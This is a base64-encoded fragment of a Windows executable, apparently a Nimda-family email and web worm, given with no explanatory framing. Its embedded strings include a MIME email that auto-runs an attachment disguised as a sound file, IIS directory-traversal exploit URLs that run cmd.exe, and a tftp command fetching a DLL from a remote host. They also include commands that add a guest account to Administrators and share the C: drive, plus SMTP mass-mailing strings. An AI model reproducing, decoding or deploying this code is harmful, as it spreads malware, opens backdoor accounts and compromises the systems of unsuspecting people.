AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYiAAACokA APiIAADoiAAAhIgAAMaIAAC2iAAApogAAJKIAAAAAAAAwIUAACiGAADOhQAA3oUAAEqIAAA6iAAA WIgAAB6IAAAOiAAALIgAAOyHAADchwAA/ocAADaEAABMhAAAWoQAAGaEAAB4hAAAhoQAAJSEAACg hAAAtoQAAMKEAADShAAA5IQAAPqEAAAIhQAAHoUAACqFAAA4hQAAQIUAAFCFAABkhQAAeIUAAIiF AACUhQAAqIUAALSFAAC+hgAAroYAAMiHAADuhQAABIYAABSGAADehgAANoYAAEKGAABYhgAAZoYA AHSGAACKhgAAnIYAALCHAAAkhwAAzoYAADiHAADshgAABIcAABaHAACKhwAASocAAGCHAAB4hwAA mocAAAAAAADOgwAAWIMAABqEAAAmhAAA8oMAAASEAAD6gwAA1oMAAOiDAADegwAAxIMAALqDAACw gwAAqIMAAJ6DAACUgwAAioMAAICDAAB2gwAAbIMAAGKDAAAAAAAAAIMAAAAAAAAAAAAADoQAACyB AAD8gQAAAAAAAAAAAAB2iAAAKIAAANSBAAAAAAAAAAAAAByJAAAAgAAAAAAAAAAAAAAAAAAAAAAA AAAAAADYiAAACokAAPiIAADoiAAAhIgAAMaIAAC2iAAApogAAJKIAAAAAAAAwIUAACiGAADOhQAA 3oUAAEqIAAA6iAAAWIgAAB6IAAAOiAAALIgAAOyHAADchwAA/ocAADaEAABMhAAAWoQAAGaEAAB4 hAAAhoQAAJSEAACghAAAtoQAAMKEAADShAAA5IQAAPqEAAAIhQAAHoUAACqFAAA4hQAAQIUAAFCF AABkhQAAeIUAAIiFAACUhQAAqIUAALSFAAC+hgAAroYAAMiHAADuhQAABIYAABSGAADehgAANoYA AEKGAABYhgAAZoYAAHSGAACKhgAAnIYAALCHAAAkhwAAzoYAADiHAADshgAABIcAABaHAACKhwAA SocAAGCHAAB4hwAAmocAAAAAAADOgwAAWIMAABqEAAAmhAAA8oMAAASEAAD6gwAA1oMAAOiDAADe gwAAxIMAALqDAACwgwAAqIMAAJ6DAACUgwAAioMAAICDAAB2gwAAbIMAAGKDAAAAAAAAwQJzdHJu Y3B5AJkCbWVtc2V0AAC6AnN0cmNweQAAvgJzdHJsZW4AAMcCc3RydG9rAACXAm1lbWNweQAAtwJz dHJjaHIAALYCc3RyY2F0AACmAnJhbmQAALgCc3RyY21wAADDAV9zdHJsd3IAvwJzdHJuY2F0ALQC c3JhbmQAXgJmcmVlAACyAnNwcmludGYAkQJtYWxsb2MAAD0CYXRvaQAAxQJzdHJzdHIAAMMCc3Ry cmNocgBNU1ZDUlQuZGxsAAAPAV9pbml0dGVybQCdAF9hZGp1c3RfZmRpdgAA+gBHZXRDdXJyZW50 VGhyZWFkSWQAABsAQ2xvc2VIYW5kbGUA3wJXcml0ZUZpbGUAagJTZXRGaWxlUG9pbnRlcgAANABD cmVhdGVGaWxlQQDeAU1vdmVGaWxlRXhBABgCUmVhZEZpbGUAAGgCU2V0RmlsZUF0dHJpYnV0ZXNB AACQAEZpbmRDbG9zZQCdAEZpbmROZXh0RmlsZUEAlABGaW5kRmlyc3RGaWxlQQAA6QJXcml0ZVBy b2Nlc3NNZW1vcnkAAO8BT3BlblByb2Nlc3MA+ABHZXRDdXJyZW50UHJvY2Vzc0lkAP8CbHN0cmNt cGlBAJoBSGVhcENvbXBhY3QAlgJTbGVlcABtAUdldFRpY2tDb3VudAAAhwJTZXRUaHJlYWRQcmlv cml0eQD5AEdldEN1cnJlbnRUaHJlYWQAAD8AQ3JlYXRlTXV0ZXhBAAACA2xzdHJjcHlBAADOAEdl dENvbXB1dGVyTmFtZUEAAMwBTG9jYWxGcmVlAAgDbHN0cmxlbkEAAMgBTG9jYWxBbGxvYwAASgBD cmVhdGVUaHJlYWQAACUCUmVsZWFzZU11dGV4AADOAldhaXRGb3JTaW5nbGVPYmplY3QABAFHZXRE cml2ZVR5cGVBACABR2V0TG9naWNhbERyaXZlcwAAEgFHZXRGaWxlU2l6ZQAoAENvcHlGaWxlQQAN AUdldEZpbGVBdHRyaWJ1dGVzQQAAbAJTZXRGaWxlVGltZQAUAUdldEZpbGVUaW1lAGQARW5kVXBk YXRlUmVzb3VyY2VBAAC0AlVwZGF0ZVJlc291cmNlQQCVAlNpemVvZlJlc291cmNlAADVAUxvY2tS ZXNvdXJjZQAAxwFMb2FkUmVzb3VyY2UAAKMARmluZFJlc291cmNlQQC0AEZyZWVMaWJyYXJ5AAwA QmVnaW5VcGRhdGVSZXNvdXJjZUEAAMMBTG9hZExpYnJhcnlFeEEAAFcARGVsZXRlRmlsZUEAYwFH ZXRUZW1wRmlsZU5hbWVBAABEAENyZWF0ZVByb2Nlc3NBAAAkAUdldE1vZHVsZUZpbGVOYW1lQQAA 9QBHZXRDdXJyZW50RGlyZWN0b3J5QQAAygBHZXRDb21tYW5kTGluZUEAZQFHZXRUZW1wUGF0aEEA AFkBR2V0U3lzdGVtRGlyZWN0b3J5QQB9AUdldFdpbmRvd3NEaXJlY3RvcnlBAAAmAUdldE1vZHVs ZUhhbmRsZUEAAHUBR2V0VmVyc2lvbkV4QQA+AUdldFByb2NBZGRyZXNzAADCAUxvYWRMaWJyYXJ5 QQAAXQFHZXRTeXN0ZW1UaW1lAH0ARXhpdFByb2Nlc3MAnQFIZWFwRGVzdHJveQAaAUdldExhc3RF cnJvcgAAmwFIZWFwQ3JlYXRlAADlAldyaXRlUHJpdmF0ZVByb2ZpbGVTdHJpbmdBAABLRVJORUwz Mi5kbGwAAFsBUmVnQ2xvc2VLZXkAewFSZWdRdWVyeVZhbHVlRXhBAAByAVJlZ09wZW5LZXlFeEEA ZwFSZWdFbnVtS2V5RXhBAF8BUmVnQ3JlYXRlS2V5RXhBAGIBUmVnRGVsZXRlS2V5QQBqAVJlZ0Vu dW1WYWx1ZUEAhgFSZWdTZXRWYWx1ZUV4QQAAegFSZWdRdWVyeVZhbHVlQQAAQURWQVBJMzIuZGxs AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AC4AAABTeXN0ZW1cQ3VycmVudENvbnRyb2xTZXRcU2VydmljZXNcVnhEXE1TVENQAE5hbWVTZXJ2 ZXIAAFNZU1RFTVxDdXJyZW50Q29udHJvbFNldFxTZXJ2aWNlc1xUY3BpcFxQYXJhbWV0ZXJzXElu dGVyZmFjZXNcAABTWVNURU1cQ3VycmVudENvbnRyb2xTZXRcU2VydmljZXNcVGNwaXBcUGFyYW1l dGVyc1xJbnRlcmZhY2VzAAAAQ29uY2VwdCBWaXJ1cyhDVikgVi42LCBDb3B5cmlnaHQoQykyMDAx LCAoVGhpcydzIENWLCBObyBOaW1kYS4pAE1JTUUtVmVyc2lvbjogMS4wDQpDb250ZW50LVR5cGU6 IG11bHRpcGFydC9yZWxhdGVkOw0KCXR5cGU9Im11bHRpcGFydC9hbHRlcm5hdGl2ZSI7DQoJYm91 bmRhcnk9Ij09PT1fQUJDMTIzNDU2ajc4OTBERUZfPT09PSINClgtUHJpb3JpdHk6IDMNClgtTVNN YWlsLVByaW9yaXR5OiBOb3JtYWwNClgtVW5zZW50OiAxDQoNCi0tPT09PV9BQkMxMjM0NTZqNzg5 MERFRl89PT09DQpDb250ZW50LVR5cGU6IG11bHRpcGFydC9hbHRlcm5hdGl2ZTsNCglib3VuZGFy eT0iPT09PV9BQkMwOTg3Nmo1NDMyMURFRl89PT09Ig0KDQotLT09PT1fQUJDMDk4NzZqNTQzMjFE RUZfPT09PQ0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7DQoJY2hhcnNldD0iaXNvLTg4NTktMSIN CkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IHF1b3RlZC1wcmludGFibGUNCg0KDQo8SFRNTD48 SEVBRD48L0hFQUQ+PEJPRFkgYmdDb2xvcj0zRCNmZmZmZmY+DQo8aWZyYW1lIHNyYz0zRGNpZDpF QTRETUdCUDlwIGhlaWdodD0zRDAgd2lkdGg9M0QwPg0KPC9pZnJhbWU+PC9CT0RZPjwvSFRNTD4N Ci0tPT09PV9BQkMwOTg3Nmo1NDMyMURFRl89PT09LS0NCg0KLS09PT09X0FCQzEyMzQ1Nmo3ODkw REVGXz09PT0NCkNvbnRlbnQtVHlwZTogYXVkaW8veC13YXY7DQoJbmFtZT0ic2FtcGxlLmV4ZSIN CkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NA0KQ29udGVudC1JRDogPEVBNERNR0JQ OXA+DQoNCgANCg0KLS09PT09X0FCQzEyMzQ1Nmo3ODkwREVGXz09PT0NCg0KAAAATlVMPQAAAAAN Cg0KW3JlbmFtZV0NCgAAXHdpbmluaXQuaW5pAAAAAEM6XABQZXJzb25hbAAAAABTb2Z0d2FyZVxN aWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxFeHBsb3JlclxTaGVsbCBGb2xkZXJzAAAA AFwAAAAuLgAAXCouKgAAAAAEAACAAgAAgEVYUExPUkVSAAAAAGZzZGhxaGVyd3FpMjAwMQBlZnFw bTIzMDBkZmhyb29wAAAAAFNZU1RFTVxDdXJyZW50Q29udHJvbFNldFxTZXJ2aWNlc1xsYW5tYW5z ZXJ2ZXJcU2hhcmVzXFNlY3VyaXR5AABzaGFyZSBjJD1jOlwAAAAAdXNlciBndWVzdCAiIgAAAGxv Y2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgZ3Vlc3QgL2FkZAAAAABsb2NhbGdyb3VwIEd1ZXN0cyBn dWVzdCAvYWRkAAAAAHVzZXIgZ3Vlc3QgL2FjdGl2ZQAAb3BlbgAAAAB1c2VyIGd1ZXN0IC9hZGQA bmV0AEhpZGVGaWxlRXh0AFNob3dTdXBlckhpZGRlbgBIaWRkZW4AAFNvZnR3YXJlXE1pY3Jvc29m dFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEV4cGxvcmVyXEFkdmFuY2VkACVscwBcXCVzAAAAACVs ZCAlbGQgJWxkACVsZCAlbGQASW1hZ2UgU3BhY2UgRXhlYyBXcml0ZSBDb3B5AEltYWdlIFNwYWNl IEV4ZWMgUmVhZC9Xcml0ZQBJbWFnZSBTcGFjZSBFeGVjIFJlYWQgT25seQAASW1hZ2UgU3BhY2Ug RXhlY3V0YWJsZQAASW1hZ2UgU3BhY2UgV3JpdGUgQ29weQAASW1hZ2UgU3BhY2UgUmVhZC9Xcml0 ZQAASW1hZ2UgU3BhY2UgUmVhZCBPbmx5AAAASW1hZ2UgU3BhY2UgTm8gQWNjZXNzAAAATWFwcGVk IFNwYWNlIEV4ZWMgV3JpdGUgQ29weQAAAABNYXBwZWQgU3BhY2UgRXhlYyBSZWFkL1dyaXRlAAAA AE1hcHBlZCBTcGFjZSBFeGVjIFJlYWQgT25seQBNYXBwZWQgU3BhY2UgRXhlY3V0YWJsZQBNYXBw ZWQgU3BhY2UgV3JpdGUgQ29weQBNYXBwZWQgU3BhY2UgUmVhZC9Xcml0ZQBNYXBwZWQgU3BhY2Ug UmVhZCBPbmx5AABNYXBwZWQgU3BhY2UgTm8gQWNjZXNzAABSZXNlcnZlZCBTcGFjZSBFeGVjIFdy aXRlIENvcHkAAFJlc2VydmVkIFNwYWNlIEV4ZWMgUmVhZC9Xcml0ZQAAUmVzZXJ2ZWQgU3BhY2Ug RXhlYyBSZWFkIE9ubHkAAABSZXNlcnZlZCBTcGFjZSBFeGVjdXRhYmxlAAAAUmVzZXJ2ZWQgU3Bh Y2UgV3JpdGUgQ29weQAAAFJlc2VydmVkIFNwYWNlIFJlYWQvV3JpdGUAAABSZXNlcnZlZCBTcGFj ZSBSZWFkIE9ubHkAAAAAUmVzZXJ2ZWQgU3BhY2UgTm8gQWNjZXNzAAAAAFByb2Nlc3MgQWRkcmVz cyBTcGFjZQAAAEV4ZWMgV3JpdGUgQ29weQBFeGVjIFJlYWQvV3JpdGUARXhlYyBSZWFkIE9ubHkA AEV4ZWN1dGFibGUAAFdyaXRlIENvcHkAAFJlYWQvV3JpdGUAAFJlYWQgT25seQAAAE5vIEFjY2Vz cwAAAEltYWdlAAAAVXNlciBQQwBUaHJlYWQgRGV0YWlscwAASUQgVGhyZWFkAAAAUHJpb3JpdHkg Q3VycmVudAAAAABDb250ZXh0IFN3aXRjaGVzL3NlYwAAAABTdGFydCBBZGRyZXNzAAAAVGhyZWFk AABQYWdlIEZhdWx0cy9zZWMAVmlydHVhbCBCeXRlcyBQZWFrAABWaXJ0dWFsIEJ5dGVzAAAAUHJp dmF0ZSBCeXRlcwAAAElEIFByb2Nlc3MAAEVsYXBzZWQgVGltZQAAAABQcmlvcml0eSBCYXNlAAAA V29ya2luZyBTZXQgUGVhawAAAABXb3JraW5nIFNldAAlIFVzZXIgVGltZQAlIFByaXZpbGVnZWQg VGltZQAAACUgUHJvY2Vzc29yIFRpbWUAAAAAUHJvY2VzcwBDb3VudGVyIDAwOQBzb2Z0d2FyZVxt aWNyb3NvZnRcd2luZG93cyBudFxjdXJyZW50dmVyc2lvblxwZXJmbGliXDAwOQAAAABDb3VudGVy cwAAAABWZXJzaW9uAExhc3QgQ291bnRlcgAAAABzb2Z0d2FyZVxtaWNyb3NvZnRcd2luZG93cyBu dFxjdXJyZW50dmVyc2lvblxwZXJmbGliAAAAAC9zY3JpcHRzAAAAAC9NU0FEQwAAL2MAAC9kAAAv c2NyaXB0cy8uLiUyNTVjLi4AAC9fdnRpX2Jpbi8uLiUyNTVjLi4vLi4lMjU1Yy4uLy4uJTI1NWMu LgAvX21lbV9iaW4vLi4lMjU1Yy4uLy4uJTI1NWMuLi8uLiUyNTVjLi4AL21zYWRjLy4uJTI1NWMu Li8uLiUyNTVjLi4vLi4lMjU1Yy8uLiVjMSUxYy4uLy4uJWMxJTFjLi4vLi4lYzElMWMuLgAvc2Ny aXB0cy8uLiVjMSUxYy4uAC9zY3JpcHRzLy4uJWMwJTJmLi4AL3NjcmlwdHMvLi4lYzAlYWYuLgAv c2NyaXB0cy8uLiVjMSU5Yy4uAC9zY3JpcHRzLy4uJSUzNSU2My4uAAAAAC9zY3JpcHRzLy4uJSUz NWMuLgAAL3NjcmlwdHMvLi4lMjUlMzUlNjMuLgAAL3NjcmlwdHMvLi4lMjUyZi4uAAAvcm9vdC5l eGU/L2MrAAAAL3dpbm50L3N5c3RlbTMyL2NtZC5leGU/L2MrAG5ldCUlMjB1c2UlJTIwXFwlc1xp cGMkJSUyMCIiJSUyMC91c2VyOiJndWVzdCIAAHRmdHAlJTIwLWklJTIwJXMlJTIwR0VUJSUyMGNv b2wuZGxsJSUyMABodHRwb2RiYy5kbGwAAAAAYzpcaHR0cG9kYmMuZGxsAGQ6XGh0dHBvZGJjLmRs bABlOlxodHRwb2RiYy5kbGwADQo8aHRtbD48c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0Ij53 aW5kb3cub3BlbigicmVhZG1lLmVtbCIsIG51bGwsICJyZXNpemFibGU9bm8sdG9wPTYwMDAsbGVm dD02MDAwIik8L3NjcmlwdD48L2h0bWw+AAAAAC9odHRwb2RiYy5kbGwAAABkaXIAR0VUICVzIEhU VFAvMS4wDQpIb3N0OiB3d3cNCkNvbm5uZWN0aW9uOiBjbG9zZQ0KDQoAAGM6AAByZWFkbWUAAG1h aW4AAAAAaW5kZXgAAABkZWZhdWx0AGh0bWwAAAAALmFzcAAAAAAuaHRtAAAAAFxyZWFkbWUuZW1s AC5leGUAAAAAbWVwAHdpbnppcDMyLmV4ZQAAAAByaWNoZWQyMC5kbGwAAAAALm53cwAAAAAuZW1s AAAAAC5kb2MAAAAAIC5leGUAAABkb250cnVub2xkAABpb2N0bHNvY2tldABnZXRob3N0YnluYW1l AAAAZ2V0aG9zdG5hbWUAaW5ldF9udG9hAAAAaW5ldF9hZGRyAAAAbnRvaGwAAABodG9ubAAAAG50 b2hzAAAAaHRvbnMAAABjbG9zZXNvY2tldABzZWxlY3QAAHNlbmR0bwAAc2VuZAAAAAByZWN2ZnJv bQAAAAByZWN2AAAAAGJpbmQAAAAAY29ubmVjdABzb2NrZXQAAF9fV1NBRkRJc1NldAAAAABXU0FD bGVhbnVwAABXU0FTdGFydHVwAAB3czJfMzIuZGxsAABNQVBJTG9nb2ZmAABNQVBJU2VuZE1haWwA AAAATUFQSUZyZWVCdWZmZXIAAE1BUElSZWFkTWFpbAAAAABNQVBJRmluZE5leHQAAAAATUFQSVJl c29sdmVOYW1lAE1BUElMb2dvbgAAAE1BUEkzMi5ETEwAAFdOZXRBZGRDb25uZWN0aW9uMkEAV05l dENhbmNlbENvbm5lY3Rpb24yQQAAV05ldE9wZW5FbnVtQQAAAFdOZXRFbnVtUmVzb3VyY2VBAAAA V05ldENsb3NlRW51bQAAAE1QUi5ETEwAU2hlbGxFeGVjdXRlQQAAAFNIRUxMMzIuRExMAFJlZ2lz dGVyU2VydmljZVByb2Nlc3MAAFZpcnR1YWxGcmVlRXgAAABWaXJ0dWFsUXVlcnlFeAAAVmlydHVh bEFsbG9jRXgAAFZpcnR1YWxQcm90ZWN0RXgAAAAAQ3JlYXRlUmVtb3RlVGhyZWFkAABIZWFwQ29t cGFjdABIZWFwRnJlZQAAAABIZWFwQWxsb2MAAABIZWFwRGVzdHJveQBIZWFwQ3JlYXRlAABLRVJO RUwzMi5ETEwAAAAAU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cQXBw IFBhdGhzXAAAAABTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxBcHAg UGF0aHMAVHlwZQAAAABSZW1hcmsAAFg6XABTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJy ZW50VmVyc2lvblxOZXR3b3JrXExhbk1hblxYJABQYXJtMmVuYwAAAABQYXJtMWVuYwAAAABGbGFn cwAAAFBhdGgAAAAAU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cTmV0 d29ya1xMYW5NYW5cAAAAU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25c TmV0d29ya1xMYW5NYW4AAAAAU1lTVEVNXEN1cnJlbnRDb250cm9sU2V0XFNlcnZpY2VzXGxhbm1h bnNlcnZlclxTaGFyZXMAAAANCgAAQ2FjaGUAAABTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xD dXJyZW50VmVyc2lvblxFeHBsb3JlclxNYXBNYWlsAABRVUlUDQoAAC4NCgBTdWJqZWN0OiAAAABG cm9tOiA8AERBVEENCgAAUkNQVCBUTzogPAAAPg0KAE1BSUwgRlJPTTogPAAAAABIRUxPIAAAAGFh YmJjYwAAZTpcaHR0cG9kYmMuZGxsAGQ6XGh0dHBvZGJjLmRsbABjOlxodHRwb2RiYy5kbGwAIC1k b250cnVub2xkAAAAAE5VTEwAAAAAXHNhbXBsZSouZXhlAAAAAGh0dHBvZGJjLmRsbAAAAABiaW5k ZXMzOXFwAAAgLWJpbmRlczM5cXAAAAAAXENTUlNTLkVYRQAAXHJpY2hlZDIwLmRsbAAAAGJvb3QA AAAAU2hlbGwAAABleHBsb3Jlci5leGUgbG9hZC5leGUgLWRvbnRydW5vbGQAAABcc3lzdGVtLmlu aQBcbG9hZC5leGUAAABcXAAAb2N0ZXQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 